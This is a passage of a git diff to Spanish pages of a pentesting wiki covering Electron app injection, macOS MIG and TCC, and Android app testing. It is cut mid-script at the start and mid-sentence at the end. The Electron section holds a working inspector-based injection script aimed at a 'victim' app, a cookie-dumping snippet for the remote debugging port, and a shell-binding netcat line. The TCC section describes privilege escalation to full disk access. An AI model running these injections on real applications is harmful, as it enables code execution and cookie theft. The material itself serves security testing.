send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000}) + +await send_cmd(ws, "Profiler.enable") + +await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False}) + +await send_cmd(ws, "Runtime.runIfWaitingForDebugger") + +await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}}) + +code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']""" +await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID}) +print("Injected code to bypass protections") + + +async def js_payloads(): +global CONT, CONTEXT_ID, NAME, UNIQUE_ID + +print(f"Connecting to {INSPECT_URL} ...") + +async with websockets.connect(INSPECT_URL) as ws: +data = await send_cmd(ws, "Runtime.enable", get_first=True) +CONTEXT_ID = data["params"]["context"]["id"] +NAME = data["params"]["context"]["name"] +UNIQUE_ID = data["params"]["context"]["uniqueId"] +await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1}) +await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID}) + + + +async def main(): +await monitor_victim() +sleep(3) +await get_debugger_url() +await bypass_protections() + +sleep(7) + +await js_payloads() + + + +async def send_cmd(ws, method, get_first=False, params={}): +""" +Send a command to the inspector and read until we get a response with matching "id". +""" +global CONT + +CONT += 1 + +# Send the command +await ws.send(json.dumps({"id": CONT, "method": method, "params": params})) +sleep(0.4) + +# Read messages until we get our command result +while True: +response = await ws.recv() +data = json.loads(response) + +# Print for debugging +print(f"[{method} / {CONT}] ->", data) + +if get_first: +return data + +# If this message is a response to our command (by matching "id"), break +if data.get("id") == CONT: +return data + +# Otherwise it's an event or unrelated message; keep reading + +if __name__ == "__main__": +asyncio.run(main()) +``` +> [!CAUTION] +> Si el fuse **`EnableNodeCliInspectArguments`** está deshabilitado, la aplicación **ignorarás los parámetros de nodo** (como `--inspect`) al iniciarse, a menos que la variable de entorno **`ELECTRON_RUN_AS_NODE`** esté configurada, la cual también será **ignorad** si el fuse **`RunAsNode`** está deshabilitado. +> +> Sin embargo, aún podrías usar el **parámetro electron `--remote-debugging-port=9229`**, pero la carga útil anterior no funcionará para ejecutar otros procesos. + +Usando el parámetro **`--remote-debugging-port=9222`** es posible robar información de la aplicación Electron como el **historial** (con comandos GET) o las **cookies** del navegador (ya que están **desencriptadas** dentro del navegador y hay un **endpoint json** que las proporcionará). Puedes aprender cómo hacerlo [**aquí**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) y [**aquí**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) y usar la herramienta automática [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) o un script simple como: ```python @@ -169,9 +377,7 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') print(ws.recv() ``` -En [**esta publicación del blog**](https://hackerone.com/reports/1274695), este depurador se abusa para hacer que un chrome sin cabeza **descargue archivos arbitrarios en ubicaciones arbitrarias**. - -### Inyección desde el Plist de la Aplicación +### Inyección desde el App Plist Podrías abusar de esta variable de entorno en un plist para mantener la persistencia añadiendo estas claves: ```xml @@ -199,6 +405,8 @@ Por lo tanto, si deseas abusar de los derechos para acceder a la cámara o al mi ## Inyección automática +- [**electroniz3r**](https://github.com/r3ggi/electroniz3r) + La herramienta [**electroniz3r**](https://github.com/r3ggi/electroniz3r) se puede usar fácilmente para **encontrar aplicaciones electron vulnerables** instaladas e inyectar código en ellas. Esta herramienta intentará usar la técnica **`--inspect`**: Necesitas compilarla tú mismo y puedes usarla así: @@ -237,6 +445,11 @@ You can now kill the app using `kill -9 57739` The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5 Shell binding requested. Check `nc 127.0.0.1 12345` ``` +- [https://github.com/boku7/Loki](https://github.com/boku7/Loki) + +Loki fue diseñado para crear puertas traseras en aplicaciones de Electron al reemplazar los archivos JavaScript de las aplicaciones con los archivos JavaScript de Comando y Control de Loki. + + ## Referencias - [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md index 43a32fca9..27b3d025d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md @@ -40,7 +40,7 @@ server_port : mach_port_t; n1 : uint32_t; n2 : uint32_t); ``` -Tenga en cuenta que el primer **argumento es el puerto a enlazar** y MIG **manejará automáticamente el puerto de respuesta** (a menos que se llame a `mig_get_reply_port()` en el código del cliente). Además, el **ID de las operaciones** será **secuencial** comenzando por el ID del subsistema indicado (así que si una operación está obsoleta, se elimina y se usa `skip` para seguir utilizando su ID). +Tenga en cuenta que el primer **argumento es el puerto a enlazar** y MIG **manejará automáticamente el puerto de respuesta** (a menos que se llame a `mig_get_reply_port()` en el código del cliente). Además, el **ID de las operaciones** será **secuencial** comenzando por el ID del subsistema indicado (por lo que si una operación está obsoleta, se elimina y se utiliza `skip` para seguir usando su ID). Ahora use MIG para generar el código del servidor y del cliente que podrá comunicarse entre sí para llamar a la función Subtract: ```bash @@ -108,7 +108,7 @@ En este ejemplo, solo hemos definido 1 función en las definiciones, pero si hub Si se esperaba que la función enviara una **respuesta**, la función `mig_internal kern_return_t __MIG_check__Reply__` también existiría. -De hecho, es posible identificar esta relación en la estructura **`subsystem_to_name_map_myipc`** de **`myipcServer.h`** (**`subsystem*to_name_map*\***`\*\* en otros archivos): +De hecho, es posible identificar esta relación en la estructura **`subsystem_to_name_map_myipc`** de **`myipcServer.h`** (**`subsystem*to_name_map*\***`** en otros archivos): ```c #ifndef subsystem_to_name_map_myipc #define subsystem_to_name_map_myipc \ @@ -149,9 +149,9 @@ return FALSE; } -Verifique las líneas resaltadas anteriormente que acceden a la función para llamar por ID. +Revisa las líneas resaltadas anteriormente que acceden a la función para llamar por ID. -El siguiente es el código para crear un **servidor** y un **cliente** simples donde el cliente puede llamar a las funciones Subtract del servidor: +El siguiente es el código para crear un **servidor** y **cliente** simples donde el cliente puede llamar a las funciones Subtract del servidor: {{#tabs}} {{#tab name="myipc_server.c"}} @@ -219,17 +219,17 @@ USERPREFSubtract(port, 40, 2); El NDR_record es exportado por `libsystem_kernel.dylib`, y es una estructura que permite a MIG **transformar datos para que sea agnóstico del sistema** en el que se está utilizando, ya que se pensó que MIG se usaría entre diferentes sistemas (y no solo en la misma máquina). -Esto es interesante porque si se encuentra `_NDR_record` en un binario como una dependencia (`jtool2 -S | grep NDR` o `nm`), significa que el binario es un cliente o servidor MIG. +Esto es interesante porque si se encuentra `_NDR_record` en un binario como una dependencia (`jtool2 -S | grep NDR` o `nm`), significa que el binario es un cliente o servidor de MIG. -Además, los **servidores MIG** tienen la tabla de despacho en `__DATA.__const` (o en `__CONST.__constdata` en el núcleo de macOS y `__DATA_CONST.__const` en otros núcleos \*OS). Esto se puede volcar con **`jtool2`**. +Además, los **servidores de MIG** tienen la tabla de despacho en `__DATA.__const` (o en `__CONST.__constdata` en el núcleo de macOS y `__DATA_CONST.__const` en otros núcleos de \*OS). Esto se puede volcar con **`jtool2`**. -Y los **clientes MIG** usarán el `__NDR_record` para enviar con `__mach_msg` a los servidores. +Y los **clientes de MIG** usarán el `__NDR_record` para enviar con `__mach_msg` a los servidores. ## Análisis de Binarios ### jtool -Como muchos binarios ahora utilizan MIG para exponer puertos mach, es interesante saber cómo **identificar que se utilizó MIG** y las **funciones que MIG ejecuta** con cada ID de mensaje. +Dado que muchos binarios ahora utilizan MIG para exponer puertos mach, es interesante saber cómo **identificar que se utilizó MIG** y las **funciones que MIG ejecuta** con cada ID de mensaje. [**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/index.html#jtool2) puede analizar información de MIG de un binario Mach-O indicando el ID de mensaje e identificando la función a ejecutar: ```bash diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index 4ccf803fe..f7196345d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -26,10 +26,10 @@ Los **permisos** son **heredados de la aplicación padre** y los **permisos** so Las concesiones/denegaciones se almacenan en algunas bases de datos TCC: -- La base de datos a nivel de sistema en **`/Library/Application Support/com.apple.TCC/TCC.db`**. +- La base de datos a nivel del sistema en **`/Library/Application Support/com.apple.TCC/TCC.db`**. - Esta base de datos está **protegida por SIP**, por lo que solo un bypass de SIP puede escribir en ella. - La base de datos TCC del usuario **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** para preferencias por usuario. -- Esta base de datos está protegida, por lo que solo los procesos con altos privilegios TCC, como Acceso Completo al Disco, pueden escribir en ella (pero no está protegida por SIP). +- Esta base de datos está protegida, por lo que solo los procesos con altos privilegios de TCC, como Acceso Completo al Disco, pueden escribir en ella (pero no está protegida por SIP). > [!WARNING] > Las bases de datos anteriores también están **protegidas por TCC para acceso de lectura**. Así que **no podrás leer** tu base de datos TCC de usuario regular a menos que sea desde un proceso privilegiado de TCC. @@ -184,9 +184,9 @@ tccutil reset All app.some.id # Reset the permissions granted to all apps tccutil reset All ``` -### Comprobaciones de Firma de TCC +### TCC Signature Checks -La **base de datos** de TCC almacena el **ID de Paquete** de la aplicación, pero también **almacena** **información** sobre la **firma** para **asegurarse** de que la aplicación que solicita usar un permiso es la correcta. +La **base de datos** de TCC almacena el **Bundle ID** de la aplicación, pero también **almacena** **información** sobre la **firma** para **asegurarse** de que la aplicación que solicita usar un permiso es la correcta. ```bash # From sqlite sqlite> select service, client, hex(csreq) from access where auth_value=2; @@ -203,7 +203,7 @@ csreq -t -r /tmp/telegram_csreq.bin ### Derechos y Permisos de TCC -Las aplicaciones **no solo necesitan** **solicitar** y haber sido **otorgadas acceso** a algunos recursos, también necesitan **tener los derechos relevantes**.\ +Las aplicaciones **no solo necesitan** **solicitar** y haber **recibido acceso** a algunos recursos, también necesitan **tener los derechos relevantes**.\ Por ejemplo, **Telegram** tiene el derecho `com.apple.security.device.camera` para solicitar **acceso a la cámara**. Una **aplicación** que **no tenga** este **derecho no podrá** acceder a la cámara (y el usuario ni siquiera será preguntado por los permisos). Sin embargo, para que las aplicaciones **accedan** a **ciertas carpetas de usuario**, como `~/Desktop`, `~/Downloads` y `~/Documents`, **no necesitan** tener ningún **derecho específico.** El sistema manejará el acceso de manera transparente y **pedirá al usuario** según sea necesario. @@ -306,7 +306,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp ``` -### Cargas Útiles de TCC +### Cargas útiles de TCC Si lograste entrar en una aplicación con algunos permisos de TCC, consulta la siguiente página con cargas útiles de TCC para abusar de ellas: @@ -325,7 +325,7 @@ macos-apple-events.md ### Automatización (Finder) a FDA\* El nombre de TCC del permiso de Automatización es: **`kTCCServiceAppleEvents`**\ -Este permiso específico de TCC también indica la **aplicación que puede ser gestionada** dentro de la base de datos de TCC (por lo que los permisos no permiten simplemente gestionar todo). +Este permiso específico de TCC también indica la **aplicación que puede ser gestionada** dentro de la base de datos de TCC (por lo que los permisos no permiten solo gestionar todo). **Finder** es una aplicación que **siempre tiene FDA** (incluso si no aparece en la interfaz de usuario), así que si tienes privilegios de **Automatización** sobre ella, puedes abusar de sus privilegios para **hacer que realice algunas acciones**.\ En este caso, tu aplicación necesitaría el permiso **`kTCCServiceAppleEvents`** sobre **`com.apple.Finder`**. @@ -370,7 +370,7 @@ Este es el aviso de TCC para obtener privilegios de Automatización sobre Finder
> [!CAUTION] -> Ten en cuenta que debido a que la aplicación **Automator** tiene el permiso TCC **`kTCCServiceAppleEvents`**, puede **controlar cualquier aplicación**, como Finder. Así que al tener el permiso para controlar Automator, también podrías controlar el **Finder** con un código como el que se muestra a continuación: +> Ten en cuenta que debido a que la aplicación **Automator** tiene el permiso TCC **`kTCCServiceAppleEvents`**, puede **controlar cualquier aplicación**, como Finder. Así que al tener el permiso para controlar Automator, también podrías controlar el **Finder** con un código como el siguiente:
@@ -396,9 +396,9 @@ EOD ```
-Lo mismo ocurre con la **aplicación Script Editor,** puede controlar Finder, pero usando un AppleScript no puedes forzar la ejecución de un script. +Lo mismo sucede con la **aplicación Script Editor,** puede controlar Finder, pero usando un AppleScript no puedes forzarla a ejecutar un script. -### Automatización (SE) a algún TCC +### Automatización (SE) a algunos TCC **System Events puede crear Acciones de Carpeta, y las acciones de carpeta pueden acceder a algunas carpetas TCC** (Escritorio, Documentos y Descargas), por lo que se puede usar un script como el siguiente para abusar de este comportamiento: ```bash @@ -494,7 +494,7 @@ EOF ``` ### `kTCCServiceAccessibility` a FDA\* -Consulta esta página para algunos [**payloads para abusar de los permisos de Accesibilidad**](macos-tcc-payloads.md#accessibility) para privesc a FDA\* o ejecutar un keylogger, por ejemplo. +Consulta esta página para algunos [**payloads para abusar de los permisos de Accesibilidad**](macos-tcc-payloads.md#accessibility) para escalar privilegios a FDA\* o ejecutar un keylogger, por ejemplo. ### **Cliente de Seguridad de Endpoint a FDA** @@ -506,15 +506,15 @@ Si tienes **`kTCCServiceEndpointSecurityClient`**, tienes FDA. Fin. ### Base de Datos TCC de Usuario a FDA -Obteniendo **permisos de escritura** sobre la base de datos **TCC** del **usuario** no \*\*puedes\*\* otorgarte permisos de **`FDA`**, solo el que vive en la base de datos del sistema puede otorgar eso. +Obteniendo **permisos de escritura** sobre la base de datos **TCC** del usuario no **puedes** otorgarte permisos de **`FDA`**, solo el que vive en la base de datos del sistema puede otorgar eso. -Pero puedes **dar** a ti mismo **`Derechos de Automatización al Finder`**, y abusar de la técnica anterior para escalar a FDA\*. +Pero puedes **dar** a ti mismo **`derechos de automatización al Finder`**, y abusar de la técnica anterior para escalar a FDA\*. ### **Permisos de FDA a TCC** **Acceso Completo al Disco** es el nombre de TCC **`kTCCServiceSystemPolicyAllFiles`** -No creo que esto sea un verdadero privesc, pero por si acaso lo encuentras útil: Si controlas un programa con FDA puedes **modificar la base de datos TCC de los usuarios y darte cualquier acceso**. Esto puede ser útil como técnica de persistencia en caso de que puedas perder tus permisos de FDA. +No creo que esto sea una verdadera escalada de privilegios, pero por si acaso lo encuentras útil: Si controlas un programa con FDA puedes **modificar la base de datos TCC de los usuarios y darte cualquier acceso**. Esto puede ser útil como técnica de persistencia en caso de que pierdas tus permisos de FDA. ### **Bypass de SIP a Bypass de TCC** @@ -554,7 +554,7 @@ AllowApplicationsList.plist:
``` -### Bypass de TCC +### TCC Bypasses {{#ref}} macos-tcc-bypasses/ diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index b928fdb6b..5315b3634 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,8 +1,8 @@ -# Pruebas de Penetración en Aplicaciones Android +# Pentesting de Aplicaciones Android {{#include ../../banners/hacktricks-training.md}} -## Conceptos Básicos de Aplicaciones Android +## Fundamentos de Aplicaciones Android Se recomienda encarecidamente comenzar a leer esta página para conocer las **partes más importantes relacionadas con la seguridad de Android y los componentes más peligrosos en una aplicación Android**: @@ -15,12 +15,12 @@ android-applications-basics.md Esta es la herramienta principal que necesitas para conectarte a un dispositivo android (emulado o físico).\ **ADB** permite controlar dispositivos ya sea a través de **USB** o **Red** desde una computadora. Esta utilidad habilita la **copia** de archivos en ambas direcciones, **instalación** y **desinstalación** de aplicaciones, **ejecución** de comandos de shell, **respaldo** de datos, **lectura** de registros, entre otras funciones. -Echa un vistazo a la siguiente lista de [**Comandos ADB**](adb-commands.md) para aprender a usar adb. +Echa un vistazo a la siguiente lista de [**Comandos ADB**](adb-commands.md) para aprender cómo usar adb. ## Smali A veces es interesante **modificar el código de la aplicación** para acceder a **información oculta** (quizás contraseñas o flags bien ofuscados). Entonces, podría ser interesante descompilar el apk, modificar el código y recompilarlo.\ -[**En este tutorial** puedes **aprender a descompilar un APK, modificar el código Smali y recompilar el APK** con la nueva funcionalidad](smali-changes.md). Esto podría ser muy útil como una **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Entonces, **siempre ten en cuenta esta posibilidad**. +[**En este tutorial** puedes **aprender cómo descompilar un APK, modificar el código Smali y recompilar el APK** con la nueva funcionalidad](smali-changes.md). Esto podría ser muy útil como una **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Entonces, **siempre ten en mente esta posibilidad**. ## Otros trucos interesantes @@ -47,29 +47,29 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ``` ## Análisis Estático -Primero que nada, para analizar un APK deberías **echar un vistazo al código Java** usando un descompilador.\ -Por favor, [**lee aquí para encontrar información sobre diferentes descompiladores disponibles**](apk-decompilers.md). +Primero que nada, para analizar un APK deberías **echar un vistazo al código Java** usando un decompilador.\ +Por favor, [**lee aquí para encontrar información sobre diferentes decompiladores disponibles**](apk-decompilers.md). ### Buscando información interesante -Solo echando un vistazo a las **cadenas** del APK puedes buscar **contraseñas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **claves** **API**, **cifrado**, **UUIDs de bluetooth**, **tokens** y cualquier cosa interesante... busca incluso **puertas traseras** de ejecución de código o puertas traseras de autenticación (credenciales de administrador codificadas en la aplicación). +Solo echando un vistazo a las **cadenas** del APK puedes buscar **contraseñas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **claves** **api**, **cifrado**, **bluetooth uuids**, **tokens** y cualquier cosa interesante... busca incluso **puertas traseras** de ejecución de código o puertas traseras de autenticación (credenciales de administrador codificadas en la aplicación). **Firebase** -Presta especial atención a las **URLs de Firebase** y verifica si está mal configurado. [Más información sobre qué es Firebase y cómo explotarlo aquí.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Presta especial atención a las **URLs de firebase** y verifica si está mal configurado. [Más información sobre qué es Firebase y cómo explotarlo aquí.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Comprensión básica de la aplicación - Manifest.xml, strings.xml -La **examinación de los archivos \_Manifest.xml**_\*\* y \*\*_**strings.xml**\_\*\* de una aplicación puede revelar posibles vulnerabilidades de seguridad\*\*. Estos archivos se pueden acceder usando descompiladores o renombrando la extensión del archivo APK a .zip y luego descomprimiéndolo. +La **examinación de los archivos _Manifest.xml_ y **_strings.xml_** de una aplicación puede revelar vulnerabilidades de seguridad potenciales**. Estos archivos se pueden acceder usando decompiladores o renombrando la extensión del archivo APK a .zip y luego descomprimiéndolo. **Vulnerabilidades** identificadas en el **Manifest.xml** incluyen: -- **Aplicaciones depurables**: Las aplicaciones configuradas como depurables (`debuggable="true"`) en el archivo _Manifest.xml_ representan un riesgo ya que permiten conexiones que pueden llevar a la explotación. Para una mejor comprensión sobre cómo explotar aplicaciones depurables, consulta un tutorial sobre cómo encontrar y explotar aplicaciones depurables en un dispositivo. -- **Configuraciones de respaldo**: El atributo `android:allowBackup="false"` debe establecerse explícitamente para aplicaciones que manejan información sensible para prevenir copias de seguridad no autorizadas a través de adb, especialmente cuando la depuración por USB está habilitada. -- **Seguridad de red**: Configuraciones de seguridad de red personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) en _res/xml/_ pueden especificar detalles de seguridad como pines de certificado y configuraciones de tráfico HTTP. Un ejemplo es permitir tráfico HTTP para dominios específicos. -- **Actividades y servicios exportados**: Identificar actividades y servicios exportados en el manifiesto puede resaltar componentes que podrían ser mal utilizados. Un análisis adicional durante las pruebas dinámicas puede revelar cómo explotar estos componentes. -- **Proveedores de contenido y FileProviders**: Los proveedores de contenido expuestos podrían permitir acceso no autorizado o modificación de datos. La configuración de los FileProviders también debe ser examinada. -- **Receptores de difusión y esquemas de URL**: Estos componentes podrían ser aprovechados para la explotación, prestando especial atención a cómo se gestionan los esquemas de URL para vulnerabilidades de entrada. +- **Aplicaciones Depurables**: Las aplicaciones configuradas como depurables (`debuggable="true"`) en el archivo _Manifest.xml_ representan un riesgo ya que permiten conexiones que pueden llevar a la explotación. Para una mejor comprensión sobre cómo explotar aplicaciones depurables, consulta un tutorial sobre cómo encontrar y explotar aplicaciones depurables en un dispositivo. +- **Configuraciones de Respaldo**: El atributo `android:allowBackup="false"` debe ser establecido explícitamente para aplicaciones que manejan información sensible para prevenir respaldos de datos no autorizados a través de adb, especialmente cuando la depuración por usb está habilitada. +- **Seguridad de Red**: Configuraciones de seguridad de red personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) en _res/xml/_ pueden especificar detalles de seguridad como pines de certificado y configuraciones de tráfico HTTP. Un ejemplo es permitir tráfico HTTP para dominios específicos. +- **Actividades y Servicios Exportados**: Identificar actividades y servicios exportados en el manifiesto puede resaltar componentes que podrían ser mal utilizados. Un análisis adicional durante las pruebas dinámicas puede revelar cómo explotar estos componentes. +- **Proveedores de Contenido y FileProviders**: Los proveedores de contenido expuestos podrían permitir acceso no autorizado o modificación de datos. La configuración de los FileProviders también debe ser examinada. +- **Receptores de Difusión y Esquemas de URL**: Estos componentes podrían ser aprovechados para explotación, prestando especial atención a cómo se gestionan los esquemas de URL para vulnerabilidades de entrada. - **Versiones de SDK**: Los atributos `minSdkVersion`, `targetSDKVersion` y `maxSdkVersion` indican las versiones de Android soportadas, destacando la importancia de no soportar versiones de Android obsoletas y vulnerables por razones de seguridad. Del archivo **strings.xml**, se puede descubrir información sensible como claves API, esquemas personalizados y otras notas de desarrollador, subrayando la necesidad de una revisión cuidadosa de estos recursos. @@ -87,7 +87,7 @@ tapjacking.md ### Secuestro de Tareas -Una **actividad** con el **`launchMode`** configurado como **`singleTask` sin ninguna `taskAffinity`** definida es vulnerable al secuestro de tareas. Esto significa que una **aplicación** puede ser instalada y si se lanza antes de la aplicación real, podría **secuestrar la tarea de la aplicación real** (por lo que el usuario estará interactuando con la **aplicación maliciosa pensando que está usando la real**). +Una **actividad** con el **`launchMode`** configurado a **`singleTask` sin ninguna `taskAffinity`** definida es vulnerable al secuestro de tareas. Esto significa que una **aplicación** puede ser instalada y si se lanza antes que la aplicación real, podría **secuestrar la tarea de la aplicación real** (por lo que el usuario estará interactuando con la **aplicación maliciosa pensando que está usando la real**). Más información en: @@ -104,7 +104,7 @@ En Android, los archivos **almacenados** en el **almacenamiento interno** están 1. **Análisis Estático:** - **Asegúrate** de que el uso de `MODE_WORLD_READABLE` y `MODE_WORLD_WRITABLE` sea **examinado cuidadosamente**. Estos modos **pueden potencialmente exponer** archivos a **acceso no intencionado o no autorizado**. 2. **Análisis Dinámico:** -- **Verifica** los **permisos** establecidos en los archivos creados por la aplicación. Específicamente, **verifica** si algún archivo está **configurado para ser legible o escribible a nivel mundial**. Esto puede representar un riesgo de seguridad significativo, ya que permitiría que **cualquier aplicación** instalada en el dispositivo, independientemente de su origen o intención, **lea o modifique** estos archivos. +- **Verifica** los **permisos** establecidos en los archivos creados por la aplicación. Específicamente, **verifica** si algún archivo está **configurado para ser legible o escribible globalmente**. Esto puede representar un riesgo de seguridad significativo, ya que permitiría que **cualquier aplicación** instalada en el dispositivo, independientemente de su origen o intención, **lea o modifique** estos archivos. **Almacenamiento Externo** @@ -123,7 +123,7 @@ Al tratar con archivos en **almacenamiento externo**, como tarjetas SD, se deben El almacenamiento externo puede ser **accedido** en `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` > [!NOTE] -> A partir de Android 4.4 (**API 17**), la tarjeta SD tiene una estructura de directorio que **limita el acceso de una aplicación al directorio que es específicamente para esa aplicación**. Esto previene que aplicaciones maliciosas obtengan acceso de lectura o escritura a los archivos de otra aplicación. +> A partir de Android 4.4 (**API 17**), la tarjeta SD tiene una estructura de directorios que **limita el acceso de una aplicación al directorio que es específicamente para esa aplicación**. Esto previene que aplicaciones maliciosas obtengan acceso de lectura o escritura a los archivos de otra aplicación. **Datos sensibles almacenados en texto claro** @@ -143,9 +143,9 @@ Una buena manera de probar esto es intentar capturar el tráfico usando algún p ### Criptografía Rota -**Pobres Procesos de Gestión de Claves** +**Procesos de Gestión de Claves Pobres** -Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los encriptan con una clave codificada/predictible en el código. Esto no debería hacerse, ya que alguna ingeniería inversa podría permitir a los atacantes extraer la información confidencial. +Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los encriptan con una clave codificada/predictible en el código. Esto no debería hacerse, ya que algún proceso de reversión podría permitir a los atacantes extraer la información confidencial. **Uso de Algoritmos Inseguros y/o Obsoletos** @@ -154,9 +154,9 @@ Los desarrolladores no deberían usar **algoritmos obsoletos** para realizar **v ### Otras verificaciones - Se recomienda **ofuscar el APK** para dificultar el trabajo de ingeniería inversa a los atacantes. -- Si la aplicación es sensible (como las aplicaciones bancarias), debería realizar sus **propias verificaciones para ver si el móvil está rooteado** y actuar en consecuencia. -- Si la aplicación es sensible (como las aplicaciones bancarias), debería verificar si se está utilizando un **emulador**. -- Si la aplicación es sensible (como las aplicaciones bancarias), debería **verificar su propia integridad antes de ejecutarse** para comprobar si ha sido modificada. +- Si la aplicación es sensible (como aplicaciones bancarias), debería realizar sus **propias verificaciones para ver si el móvil está rooteado** y actuar en consecuencia. +- Si la aplicación es sensible (como aplicaciones bancarias), debería verificar si se está utilizando un **emulador**. +- Si la aplicación es sensible (como aplicaciones bancarias), debería **verificar su propia integridad antes de ejecutarse** para comprobar si ha sido modificada. - Usa [**APKiD**](https://github.com/rednaga/APKiD) para verificar qué compilador/empaquetador/ofuscador se utilizó para construir el APK. ### Aplicación React Native @@ -181,7 +181,7 @@ Según este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacki ### Análisis Estático Automatizado de Código -La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** mediante el **escaneo** del **código** de la aplicación. Esta herramienta contiene una serie de **fuentes conocidas** (que indican a la herramienta los **lugares** donde la **entrada** es **controlada por el usuario**), **sumideros** (que indican a la herramienta **lugares peligrosos** donde la entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **fuentes-sumideros** que indica una vulnerabilidad. +La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** mediante **escanear** el **código** de la aplicación. Esta herramienta contiene una serie de **fuentes conocidas** (que indican a la herramienta los **lugares** donde la **entrada** es **controlada por el usuario**), **sumideros** (que indican a la herramienta **lugares peligrosos** donde la entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **fuentes-sumideros** que indica una vulnerabilidad. Con este conocimiento, **mariana-trench revisará el código y encontrará posibles vulnerabilidades en él**. @@ -226,7 +226,7 @@ Incluso puedes **ver los registros de tu aplicación** en la web y conectarte a Gracias a la conexión ADB, puedes usar **Drozer** y **Frida** dentro de los emuladores. -### Análisis dinámico local +### Análisis Dinámico Local #### Usando un emulador @@ -243,15 +243,15 @@ avd-android-virtual-device.md > [!NOTE] > Al crear un nuevo emulador en cualquier plataforma, recuerda que cuanto más grande sea la pantalla, más lento funcionará el emulador. Así que selecciona pantallas pequeñas si es posible. -Para **instalar servicios de Google** (como AppStore) en Genymotion, necesitas hacer clic en el botón marcado en rojo de la siguiente imagen: +Para **instalar servicios de google** (como AppStore) en Genymotion, necesitas hacer clic en el botón marcado en rojo de la siguiente imagen: ![](<../../images/image (277).png>) -Además, ten en cuenta que en la **configuración de la VM de Android en Genymotion** puedes seleccionar **modo de red Bridge** (esto será útil si te conectarás a la VM de Android desde una VM diferente con las herramientas). +Además, ten en cuenta que en la **configuración de la VM de Android en Genymotion** puedes seleccionar **Modo de Red Bridge** (esto será útil si te conectarás a la VM de Android desde una VM diferente con las herramientas). #### Usar un dispositivo físico -Necesitas activar las **opciones de depuración** y sería genial si puedes **rootearlo**: +Necesitas activar las opciones de **depuración** y sería genial si puedes **rootearlo**: 1. **Configuración**. 2. (Desde Android 8.0) Selecciona **Sistema**. @@ -266,7 +266,7 @@ Necesitas activar las **opciones de depuración** y sería genial si puedes **ro **Registro** -Los desarrolladores deben tener cuidado de exponer **información de depuración** públicamente, ya que puede llevar a filtraciones de datos sensibles. Se recomiendan las herramientas [**pidcat**](https://github.com/JakeWharton/pidcat) y `adb logcat` para monitorear los registros de la aplicación y proteger la información sensible. **Pidcat** es preferido por su facilidad de uso y legibilidad. +Los desarrolladores deben tener cuidado de exponer **información de depuración** públicamente, ya que puede llevar a filtraciones de datos sensibles. Se recomiendan las herramientas [**pidcat**](https://github.com/JakeWharton/pidcat) y `adb logcat` para monitorear los registros de la aplicación y identificar y 